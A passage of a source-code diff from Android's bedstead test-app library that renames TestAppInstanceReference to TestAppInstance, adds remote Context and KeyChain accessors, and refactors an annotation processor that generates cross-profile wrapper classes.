diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppBinder.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppBinder.java
index c220026..282b68d 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppBinder.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppBinder.java
@@ -36,9 +36,9 @@
private static final String LOG_TAG = TestAppBinder.class.getName();
- private final TestAppInstanceReference mTestAppInstance;
+ private final TestAppInstance mTestAppInstance;
- public TestAppBinder(TestAppInstanceReference testAppInstance) {
+ public TestAppBinder(TestAppInstance testAppInstance) {
mTestAppInstance = testAppInstance;
}
@@ -52,7 +52,7 @@
Intent bindIntent = new Intent();
bindIntent.setComponent(new ComponentName(
- mTestAppInstance.testApp().packageName(),
+ mTestAppInstance.packageName(),
bindToService.getClassName()));
Log.i(LOG_TAG, "Attempting to bind to " + bindIntent);
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppEvents.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppEvents.java
index be6f1cd..94977cc 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppEvents.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppEvents.java
@@ -70,247 +70,247 @@
public class TestAppEvents implements ActivityEvents, BroadcastReceiverEvents,
DeviceAdminReceiverEvents, ServiceEvents {
- private final TestAppInstanceReference mTestApp;
+ private final TestAppInstance mTestApp;
- TestAppEvents(TestAppInstanceReference testApp) {
+ TestAppEvents(TestAppInstance testApp) {
mTestApp = testApp;
}
@Override
public ActivityCreatedEvent.ActivityCreatedEventQuery activityCreated() {
return ActivityCreatedEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public ActivityDestroyedEvent.ActivityDestroyedEventQuery activityDestroyed() {
return ActivityDestroyedEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public ActivityPausedEvent.ActivityPausedEventQuery activityPaused() {
return ActivityPausedEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public ActivityRestartedEvent.ActivityRestartedEventQuery activityRestarted() {
return ActivityRestartedEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public ActivityResumedEvent.ActivityResumedEventQuery activityResumed() {
return ActivityResumedEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public ActivityStartedEvent.ActivityStartedEventQuery activityStarted() {
return ActivityStartedEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public ActivityStoppedEvent.ActivityStoppedEventQuery activityStopped() {
return ActivityStoppedEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public BroadcastReceivedEvent.BroadcastReceivedEventQuery broadcastReceived() {
return BroadcastReceivedEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminBugreportFailedEvent.DeviceAdminBugreportFailedEventQuery bugReportFailed() {
return DeviceAdminBugreportFailedEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminBugreportSharedEvent.DeviceAdminBugreportSharedEventQuery bugReportShared() {
return DeviceAdminBugreportSharedEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminBugreportSharingDeclinedEvent.DeviceAdminBugreportSharingDeclinedEventQuery bugReportSharingDeclined() {
return DeviceAdminBugreportSharingDeclinedEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminChoosePrivateKeyAliasEvent.DeviceAdminChoosePrivateKeyAliasEventQuery choosePrivateKeyAlias() {
return DeviceAdminChoosePrivateKeyAliasEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminDisabledEvent.DeviceAdminDisabledEventQuery deviceAdminDisabled() {
return DeviceAdminDisabledEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminDisableRequestedEvent.DeviceAdminDisableRequestedEventQuery deviceAdminDisableRequested() {
return DeviceAdminDisableRequestedEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminEnabledEvent.DeviceAdminEnabledEventQuery deviceAdminEnabled() {
return DeviceAdminEnabledEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminLockTaskModeEnteringEvent.DeviceAdminLockTaskModeEnteringEventQuery lockTaskModeEntering() {
return DeviceAdminLockTaskModeEnteringEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminLockTaskModeExitingEvent.DeviceAdminLockTaskModeExitingEventQuery lockTaskModeExiting() {
return DeviceAdminLockTaskModeExitingEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminNetworkLogsAvailableEvent.DeviceAdminNetworkLogsAvailableEventQuery networkLogsAvailable() {
return DeviceAdminNetworkLogsAvailableEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminOperationSafetyStateChangedEvent.DeviceAdminOperationSafetyStateChangedEventQuery operationSafetyStateChanged() {
return DeviceAdminOperationSafetyStateChangedEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminPasswordChangedEvent.DeviceAdminPasswordChangedEventQuery passwordChanged() {
return DeviceAdminPasswordChangedEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminPasswordExpiringEvent.DeviceAdminPasswordExpiringEventQuery passwordExpiring() {
return DeviceAdminPasswordExpiringEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminPasswordFailedEvent.DeviceAdminPasswordFailedEventQuery passwordFailed() {
return DeviceAdminPasswordFailedEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminPasswordSucceededEvent.DeviceAdminPasswordSucceededEventQuery passwordSucceeded() {
return DeviceAdminPasswordSucceededEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminProfileProvisioningCompleteEvent.DeviceAdminProfileProvisioningCompleteEventQuery profileProvisioningComplete() {
return DeviceAdminProfileProvisioningCompleteEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminReadyForUserInitializationEvent.DeviceAdminReadyForUserInitializationEventQuery readyForUserInitialization() {
return DeviceAdminReadyForUserInitializationEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminSecurityLogsAvailableEvent.DeviceAdminSecurityLogsAvailableEventQuery securityLogsAvailable() {
return DeviceAdminSecurityLogsAvailableEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminSystemUpdatePendingEvent.DeviceAdminSystemUpdatePendingEventQuery systemUpdatePending() {
return DeviceAdminSystemUpdatePendingEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery transferAffiliatedProfileOwnershipComplete() {
return DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminTransferOwnershipCompleteEvent.DeviceAdminTransferOwnershipCompleteEventQuery transferOwnershipComplete() {
return DeviceAdminTransferOwnershipCompleteEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminUserAddedEvent.DeviceAdminUserAddedEventQuery userAdded() {
return DeviceAdminUserAddedEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminUserRemovedEvent.DeviceAdminUserRemovedEventQuery userRemoved() {
return DeviceAdminUserRemovedEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminUserStartedEvent.DeviceAdminUserStartedEventQuery userStarted() {
return DeviceAdminUserStartedEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminUserStoppedEvent.DeviceAdminUserStoppedEventQuery userStopped() {
return DeviceAdminUserStoppedEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
@Override
public DeviceAdminUserSwitchedEvent.DeviceAdminUserSwitchedEventQuery userSwitched() {
return DeviceAdminUserSwitchedEvent.queryPackage(
- mTestApp.testApp().packageName())
+ mTestApp.packageName())
.onUser(mTestApp.user());
}
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstanceReference.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstance.java
similarity index 89%
rename from common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstanceReference.java
rename to common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstance.java
index 248da18..cea69a3 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstanceReference.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/TestAppInstance.java
@@ -23,7 +23,10 @@
import android.app.admin.RemoteDevicePolicyManager;
import android.app.admin.RemoteDevicePolicyManagerWrapper;
import android.content.BroadcastReceiver;
+import android.content.Context;
import android.content.IntentFilter;
+import android.content.RemoteContext;
+import android.content.RemoteContextWrapper;
import android.content.pm.CrossProfileApps;
import android.content.pm.PackageManager;
import android.content.pm.RemoteCrossProfileApps;
@@ -41,6 +44,9 @@
import android.os.RemoteUserManager;
import android.os.RemoteUserManagerWrapper;
import android.os.UserManager;
+import android.security.KeyChain;
+import android.security.RemoteKeyChain;
+import android.security.RemoteKeyChainWrapper;
import com.android.bedstead.nene.TestApis;
import com.android.bedstead.nene.packages.ProcessReference;
@@ -61,7 +67,7 @@
*
* <p>The user may not exist, or the test app may not be installed on the user.
*/
-public class TestAppInstanceReference implements AutoCloseable, ConnectionListener {
+public class TestAppInstance implements AutoCloseable, ConnectionListener {
private final TestApp mTestApp;
private final UserReference mUser;
@@ -73,9 +79,9 @@
/**
* Use {@link TestApp#install} or {@link TestApp#instance} to get an instance of
- * {@link TestAppInstanceReference}.
+ * {@link TestAppInstance}.
*/
- public TestAppInstanceReference(TestApp testApp, UserReference user) {
+ public TestAppInstance(TestApp testApp, UserReference user) {
if (testApp == null || user == null) {
throw new NullPointerException();
}
@@ -109,6 +115,13 @@
}
/**
+ * See {@link TestApp#packageName()}.
+ */
+ public String packageName() {
+ return testApp().packageName();
+ }
+
+ /**
* The {@link UserReference} this instance refers to.
*/
public UserReference user() {
@@ -117,7 +130,7 @@
/**
* Uninstall the {@link TestApp} from the user referenced by
- * this {@link TestAppInstanceReference}.
+ * this {@link TestAppInstance}.
*/
public void uninstall() {
mTestApp.uninstall(mUser);
@@ -160,7 +173,7 @@
/**
* Unregister the receiver
*/
- public TestAppInstanceReference unregisterReceiver(IntentFilter intentFilter) {
+ public TestAppInstance unregisterReceiver(IntentFilter intentFilter) {
if (!mRegisteredBroadcastReceivers.containsKey(intentFilter)) {
return this;
}
@@ -191,7 +204,7 @@
*
* @see {@link #stopKeepAlive()}.
*/
- public TestAppInstanceReference keepAlive() {
+ public TestAppInstance keepAlive() {
keepAlive(/* manualKeepAlive=*/ true);
return this;
}
@@ -214,7 +227,7 @@
*
* <p>This will not kill the app immediately. To do that see {@link #stop()}.
*/
- public TestAppInstanceReference stopKeepAlive() {
+ public TestAppInstance stopKeepAlive() {
mKeepAliveManually = false;
connector().stopManualConnectionManagement();
return this;
@@ -226,7 +239,7 @@
// *
// * <p>This will also stop keeping the target app alive (see {@link #stopKeepAlive()}.
// */
-// public TestAppInstanceReference stop() {
+// public TestAppInstance stop() {
// stopKeepAlive();
//
// ProcessReference process = mTestApp.pkg().runningProcess(mUser);
@@ -342,9 +355,27 @@
return new RemoteAccountManagerWrapper(mConnector);
}
+ /**
+ * Access the application {@link Context} using this test app.
+ *
+ * <p>Almost all methods are available. Those that are not will be missing from the interface.
+ */
+ public RemoteContext context() {
+ return new RemoteContextWrapper(mConnector);
+ }
+
+ /**
+ * Access the {@link KeyChain} using this test app.
+ *
+ * <p>Almost all methods are available. Those that are not will be missing from the interface.
+ */
+ public RemoteKeyChain keyChain() {
+ return new RemoteKeyChainWrapper(mConnector);
+ }
+
@Override
public String toString() {
- return "TestAppInstanceReference{"
+ return "TestAppInstance{"
+ "testApp=" + mTestApp
+ ", user=" + mUser
+ ", registeredBroadcastReceivers=" + mRegisteredBroadcastReceivers
diff --git a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/UnresolvedTestAppActivity.java b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/UnresolvedTestAppActivity.java
index e3cbd82..6b268dd 100644
--- a/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/UnresolvedTestAppActivity.java
+++ b/common/device-side/bedstead/testapp/src/library/main/java/com/android/bedstead/testapp/UnresolvedTestAppActivity.java
@@ -24,7 +24,7 @@
* A reference to an {@link Activity} in a {@link TestApp}.
*/
public final class UnresolvedTestAppActivity extends TestAppActivityReference {
- UnresolvedTestAppActivity(TestAppInstanceReference instance,
+ UnresolvedTestAppActivity(TestAppInstance instance,
ComponentReference component) {
super(instance, component);
}
diff --git a/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/Processor.java b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/Processor.java
index 4ff1c6e..03fbceb 100644
--- a/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/Processor.java
+++ b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/Processor.java
@@ -17,8 +17,7 @@
package com.android.bedstead.testapp.processor;
-import static java.util.stream.Collectors.toList;
-
+import com.android.bedstead.testapp.processor.annotations.FrameworkClass;
import com.android.bedstead.testapp.processor.annotations.TestAppReceiver;
import com.android.bedstead.testapp.processor.annotations.TestAppSender;
@@ -33,12 +32,16 @@
import com.squareup.javapoet.JavaFile;
import com.squareup.javapoet.MethodSpec;
import com.squareup.javapoet.ParameterSpec;
+import com.squareup.javapoet.TypeName;
import com.squareup.javapoet.TypeSpec;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
import java.util.List;
+import java.util.Map;
import java.util.Set;
import java.util.stream.Collectors;
@@ -51,6 +54,7 @@
import javax.lang.model.element.Modifier;
import javax.lang.model.element.TypeElement;
import javax.lang.model.element.VariableElement;
+import javax.lang.model.type.MirroredTypeException;
import javax.lang.model.type.MirroredTypesException;
import javax.lang.model.type.TypeKind;
import javax.lang.model.type.TypeMirror;
@@ -70,10 +74,10 @@
ClassName.get("com.android.bedstead.nene.utils", "Retry");
private static final ClassName CONTEXT_CLASSNAME =
ClassName.get("android.content", "Context");
- private static final ClassName NENE_ACTIVITY_CLASSNAME =
+ private static final ClassName REMOTE_ACTIVITY_CLASSNAME =
ClassName.get(
- "com.android.bedstead.nene.activities",
- "NeneActivityDirect");
+ "android.app",
+ "RemoteActivity");
private static final ClassName TEST_APP_ACTIVITY_CLASSNAME =
ClassName.get(
"com.android.bedstead.testapp",
@@ -105,10 +109,6 @@
private static final ClassName CROSS_PROFILE_CONNECTOR_CLASSNAME =
ClassName.get("com.google.android.enterprise.connectedapps",
"CrossProfileConnector");
- private static final ClassName UNAVAILABLE_PROFILE_EXCEPTION_CLASSNAME =
- ClassName.get(
- "com.google.android.enterprise.connectedapps.exceptions",
- "UnavailableProfileException");
private static final ClassName PROFILE_RUNTIME_EXCEPTION_CLASSNAME =
ClassName.get(
"com.google.android.enterprise.connectedapps.exceptions",
@@ -117,9 +117,8 @@
ClassName.get(
"com.android.bedstead.nene.exceptions",
"NeneException");
- private static final ClassName TEST_APP_INSTANCE_REFERENCE_CLASSNAME =
- ClassName.get("com.android.bedstead.testapp",
- "TestAppInstanceReference");
+ private static final ClassName TEST_APP_INSTANCE_CLASSNAME =
+ ClassName.get("com.android.bedstead.testapp", "TestAppInstance");
private static final ClassName COMPONENT_REFERENCE_CLASSNAME =
ClassName.get("com.android.bedstead.nene.packages",
"ComponentReference");
@@ -132,6 +131,9 @@
private static final ClassName REMOTE_DEVICE_POLICY_MANAGER_PARENT_WRAPPER_CLASSNAME =
ClassName.get("android.app.admin",
"RemoteDevicePolicyManagerParentWrapper");
+ private static final ClassName REMOTE_CONTENT_RESOLVER_WRAPPER_CLASSNAME =
+ ClassName.get("android.content",
+ "RemoteContentResolverWrapper");
/**
* Extract classes provided in an annotation.
@@ -140,23 +142,34 @@
* extracted for.
*/
public static List<TypeElement> extractClassesFromAnnotation(Types types, Runnable runnable) {
- // From https://docs.oracle.com/javase/8/docs/api/javax/lang/model/AnnotatedConstruct.html
- // "The annotation returned by this method could contain an element whose value is of type
- // Class. This value cannot be returned directly: information necessary to locate and load a
- // class (such as the class loader to use) is not available, and the class might not be
- // loadable at all. Attempting to read a Class object by invoking the relevant method on the
- // returned annotation will result in a MirroredTypeException, from which the corresponding
- // TypeMirror may be extracted."
try {
runnable.run();
} catch (MirroredTypesException e) {
return e.getTypeMirrors().stream()
.map(t -> (TypeElement) types.asElement(t))
- .collect(toList());
+ .collect(Collectors.toList());
}
throw new AssertionError("Could not extract classes from annotation");
}
+ /**
+ * Extract a class provided in an annotation.
+ *
+ * <p>The {@code runnable} should call the annotation method that the class is being extracted
+ * for.
+ */
+ public static TypeElement extractClassFromAnnotation(Types types, Runnable runnable) {
+ try {
+ runnable.run();
+ } catch (MirroredTypeException e) {
+ return e.getTypeMirrors().stream()
+ .map(t -> (TypeElement) types.asElement(t))
+ .findFirst()
+ .get();
+ }
+ throw new AssertionError("Could not extract class from annotation");
+ }
+
@Override
public SourceVersion getSupportedSourceVersion() {
return SourceVersion.latest();
@@ -168,7 +181,7 @@
TypeElement neneActivityInterface =
processingEnv.getElementUtils().getTypeElement(
- NENE_ACTIVITY_CLASSNAME.canonicalName());
+ REMOTE_ACTIVITY_CLASSNAME.canonicalName());
Set<? extends Element> receiverAnnotatedElements =
roundEnv.getElementsAnnotatedWith(TestAppReceiver.class);
@@ -182,21 +195,19 @@
TestAppReceiver testAppReceiver = receiverAnnotatedElements.iterator().next()
.getAnnotation(TestAppReceiver.class);
-
- List<TypeElement> systemServiceClasses =
- extractClassesFromAnnotation(
- processingEnv.getTypeUtils(), testAppReceiver::systemServiceClasses);
+ FrameworkClass[] frameworkClasses = testAppReceiver.frameworkClasses();
generateTargetedRemoteActivityInterface(neneActivityInterface);
generateTargetedRemoteActivityImpl(neneActivityInterface);
generateTargetedRemoteActivityWrapper(neneActivityInterface);
- generateProvider(systemServiceClasses);
+ generateProvider(frameworkClasses);
generateConfiguration();
generateDpmParentWrapper(processingEnv.getElementUtils());
- for (TypeElement systemServiceClass : systemServiceClasses) {
+ for (FrameworkClass frameworkClass : frameworkClasses) {
generateRemoteFrameworkClassWrapper(
- processingEnv.getElementUtils(), systemServiceClass);
+ extractClassFromAnnotation(processingEnv.getTypeUtils(),
+ frameworkClass::frameworkClass));
}
}
@@ -207,8 +218,7 @@
return true;
}
- private void generateRemoteFrameworkClassWrapper(
- Elements elements, TypeElement systemServiceClass) {
+ private void generateRemoteFrameworkClassWrapper(TypeElement systemServiceClass) {
ClassName originalClassName = ClassName.get(systemServiceClass);
ClassName interfaceClassName = ClassName.get(
originalClassName.packageName(),
@@ -219,7 +229,8 @@
ClassName profileClassName = ClassName.get(
originalClassName.packageName(),
"Profile" + interfaceClassName.simpleName());
- TypeElement interfaceElement = elements.getTypeElement(interfaceClassName.canonicalName());
+ TypeElement interfaceElement =
+ processingEnv.getElementUtils().getTypeElement(interfaceClassName.canonicalName());
TypeSpec.Builder classBuilder =
TypeSpec.classBuilder(
@@ -246,7 +257,8 @@
profileClassName)
.build());
- for (ExecutableElement method : getMethods(interfaceElement)) {
+ for (ExecutableElement method : getMethods(
+ interfaceElement, processingEnv.getElementUtils())) {
MethodSpec.Builder methodBuilder =
MethodSpec.methodBuilder(method.getSimpleName().toString())
.returns(ClassName.get(method.getReturnType()))
@@ -260,17 +272,21 @@
List<String> params = new ArrayList<>();
for (VariableElement param : method.getParameters()) {
+
ParameterSpec parameterSpec =
ParameterSpec.builder(ClassName.get(param.asType()),
param.getSimpleName().toString()).build();
+ methodBuilder.addParameter(parameterSpec);
+
+ if (param.asType().toString().equals("android.content.Context")) {
+ // Context is auto-provided so not passed in
+ continue;
+ }
params.add(param.getSimpleName().toString());
-
- methodBuilder.addParameter(parameterSpec);
}
-
CodeBlock.Builder logicLambda = CodeBlock.builder()
.add("() -> {\n").indent()
.addStatement("mConnector.connect()");
@@ -286,6 +302,16 @@
logicLambda.addStatement("return new $T(mConnector, $L)",
REMOTE_DEVICE_POLICY_MANAGER_PARENT_WRAPPER_CLASSNAME,
String.join(", ", params));
+ } else if (method.getReturnType().toString().equals(
+ "android.content.RemoteContentResolver")
+ && method.getSimpleName().contentEquals("getContentResolver")) {
+ // Special case, we want to return a contnet resolver, but still call through to
+ // the other side for exceptions, etc.
+ logicLambda.addStatement(
+ "mProfileClass.other().$L($L)",
+ method.getSimpleName(), String.join(", ", params));
+ logicLambda.addStatement("return new $T(mConnector)",
+ REMOTE_CONTENT_RESOLVER_WRAPPER_CLASSNAME);
} else if (method.getReturnType().getKind().equals(TypeKind.VOID)) {
logicLambda.addStatement("mProfileClass.other().$L($L)", method.getSimpleName(),
String.join(", ", params));
@@ -310,7 +336,14 @@
methodBuilder.nextControlFlow(
"catch ($T e)", PROFILE_RUNTIME_EXCEPTION_CLASSNAME)
- .addStatement("throw ($T) e.getCause()", RuntimeException.class)
+ .addStatement("throw ($T) e.getCause()", RuntimeException.class);
+
+ for (TypeMirror m : method.getThrownTypes()) {
+ methodBuilder.nextControlFlow("catch ($T e)", m)
+ .addStatement("throw e");
+ }
+
+ methodBuilder
.nextControlFlow("catch ($T e)", Throwable.class)
.addStatement(
"throw new $T($S, e)",
@@ -361,7 +394,7 @@
.addStatement("mProfileClass = $T.create(connector)", profileClassName)
.build());
- for (ExecutableElement method : getMethods(interfaceElement)) {
+ for (ExecutableElement method : getMethods(interfaceElement, elements)) {
MethodSpec.Builder methodBuilder =
MethodSpec.methodBuilder(method.getSimpleName().toString())
.returns(ClassName.get(method.getReturnType()))
@@ -411,6 +444,11 @@
methodBuilder.addStatement("return $L", runLogic);
}
+ for (TypeMirror m : method.getThrownTypes()) {
+ methodBuilder.nextControlFlow("catch ($T e)", m)
+ .addStatement("throw e");
+ }
+
methodBuilder.nextControlFlow(
"catch ($T e)", PROFILE_RUNTIME_EXCEPTION_CLASSNAME)
.addStatement("throw ($T) e.getCause()", RuntimeException.class)
@@ -435,12 +473,16 @@
.addSuperinterface(TARGETED_REMOTE_ACTIVITY_CLASSNAME)
.addModifiers(Modifier.PUBLIC, Modifier.FINAL);
- for (ExecutableElement method : getMethods(neneActivityInterface)) {
+ for (ExecutableElement method : getMethods(neneActivityInterface,
+ processingEnv.getElementUtils())) {
MethodSpec.Builder methodBuilder =
MethodSpec.methodBuilder(method.getSimpleName().toString())
.returns(ClassName.get(method.getReturnType()))
.addModifiers(Modifier.PUBLIC)
- .addAnnotation(Override.class);
+ .addAnnotation(Override.class)
+ .addExceptions(
+ method.getThrownTypes().stream().map(TypeName::get).collect(
+ Collectors.toSet()));
methodBuilder.addParameter(
ParameterSpec.builder(String.class, "activityClassName").build());
@@ -498,13 +540,18 @@
PROFILE_TARGETED_REMOTE_ACTIVITY_CLASSNAME)
.build());
- for (ExecutableElement method : getMethods(neneActivityInterface)) {
+ for (ExecutableElement method : getMethods(neneActivityInterface,
+ processingEnv.getElementUtils())) {
MethodSpec.Builder methodBuilder =
MethodSpec.methodBuilder(method.getSimpleName().toString())
.returns(ClassName.get(method.getReturnType()))
.addModifiers(Modifier.PUBLIC)
.addAnnotation(Override.class);
+ for (TypeMirror m : method.getThrownTypes()) {
+ methodBuilder.addException(ClassName.get(m));
+ }
+
methodBuilder.addParameter(
ParameterSpec.builder(String.class, "activityClassName").build());
@@ -549,7 +596,14 @@
methodBuilder.nextControlFlow(
"catch ($T e)", PROFILE_RUNTIME_EXCEPTION_CLASSNAME)
- .addStatement("throw ($T) e.getCause()", RuntimeException.class)
+ .addStatement("throw ($T) e.getCause()", RuntimeException.class);
+
+ for (TypeMirror m : method.getThrownTypes()) {
+ methodBuilder.nextControlFlow("catch ($T e)", m)
+ .addStatement("throw e");
+ }
+
+ methodBuilder
.nextControlFlow("catch ($T e)", Throwable.class)
.addStatement(
"throw new $T($S, e)",
@@ -579,7 +633,7 @@
classBuilder.addMethod(
MethodSpec.constructorBuilder()
- .addParameter(TEST_APP_INSTANCE_REFERENCE_CLASSNAME, "instance")
+ .addParameter(TEST_APP_INSTANCE_CLASSNAME, "instance")
.addParameter(
COMPONENT_REFERENCE_CLASSNAME, "component")
.addStatement("super(instance, component)")
@@ -589,12 +643,16 @@
.build());
- for (ExecutableElement method : getMethods(neneActivityInterface)) {
+ for (ExecutableElement method : getMethods(neneActivityInterface,
+ processingEnv.getElementUtils())) {
MethodSpec.Builder methodBuilder =
MethodSpec.methodBuilder(method.getSimpleName().toString())
.returns(ClassName.get(method.getReturnType()))
.addModifiers(Modifier.PUBLIC)
- .addAnnotation(Override.class);
+ .addAnnotation(Override.class)
+ .addExceptions(
+ method.getThrownTypes().stream().map(TypeName::get).collect(
+ Collectors.toSet()));
String params = "mActivityClassName";
@@ -628,12 +686,16 @@
TARGETED_REMOTE_ACTIVITY_CLASSNAME)
.addModifiers(Modifier.PUBLIC);
- for (ExecutableElement method : getMethods(neneActivityInterface)) {
+ for (ExecutableElement method : getMethods(neneActivityInterface,
+ processingEnv.getElementUtils())) {
MethodSpec.Builder methodBuilder =
MethodSpec.methodBuilder(method.getSimpleName().toString())
.returns(ClassName.get(method.getReturnType()))
.addModifiers(Modifier.PUBLIC, Modifier.ABSTRACT)
- .addAnnotation(CrossProfile.class);
+ .addAnnotation(CrossProfile.class)
+ .addExceptions(
+ method.getThrownTypes().stream().map(TypeName::get).collect(
+ Collectors.toSet()));
methodBuilder.addParameter(
ParameterSpec.builder(String.class, "activityClassName").build());
@@ -652,7 +714,7 @@
writeClassToFile(PACKAGE_NAME, classBuilder.build());
}
- private void generateProvider(List<TypeElement> systemServiceClasses) {
+ private void generateProvider(FrameworkClass[] frameworkClasses) {
TypeSpec.Builder classBuilder =
TypeSpec.classBuilder(
"Provider")
@@ -683,22 +745,14 @@
DEVICE_POLICY_MANAGER_CLASSNAME)
.build());
- for (TypeElement systemServiceClass : systemServiceClasses) {
- ClassName originalClassName = ClassName.get(systemServiceClass);
+ for (FrameworkClass frameworkClass : frameworkClasses) {
+ ClassName originalClassName = ClassName.get(extractClassFromAnnotation(
+ processingEnv.getTypeUtils(), frameworkClass::frameworkClass));
ClassName interfaceClassName = ClassName.get(
originalClassName.packageName(), "Remote" + originalClassName.simpleName());
ClassName implClassName = ClassName.get(
originalClassName.packageName(), interfaceClassName.simpleName() + "Impl");
- CodeBlock systemServiceGetterCode = CodeBlock.of(
- "context.getSystemService($T.class)", originalClassName);
-
- if (systemServiceClass.asType().toString().equals(
- "android.content.pm.PackageManager")) {
- // Special case - getSystemService will return null
- systemServiceGetterCode = CodeBlock.of("context.getPackageManager()");
- }
-
classBuilder.addMethod(
MethodSpec.methodBuilder("provide" + interfaceClassName.simpleName())
.returns(interfaceClassName)
@@ -706,7 +760,7 @@
.addAnnotation(CrossProfileProvider.class)
.addParameter(CONTEXT_CLASSNAME, "context")
.addCode("return new $T($L);",
- implClassName, systemServiceGetterCode)
+ implClassName, frameworkClass.constructor())
.build());
}
@@ -741,10 +795,31 @@
}
}
- private Set<ExecutableElement> getMethods(TypeElement interfaceClass) {
- return interfaceClass.getEnclosedElements().stream()
+ private Set<ExecutableElement> getMethods(TypeElement interfaceClass, Elements elements) {
+ Map<String, ExecutableElement> methods = new HashMap<>();
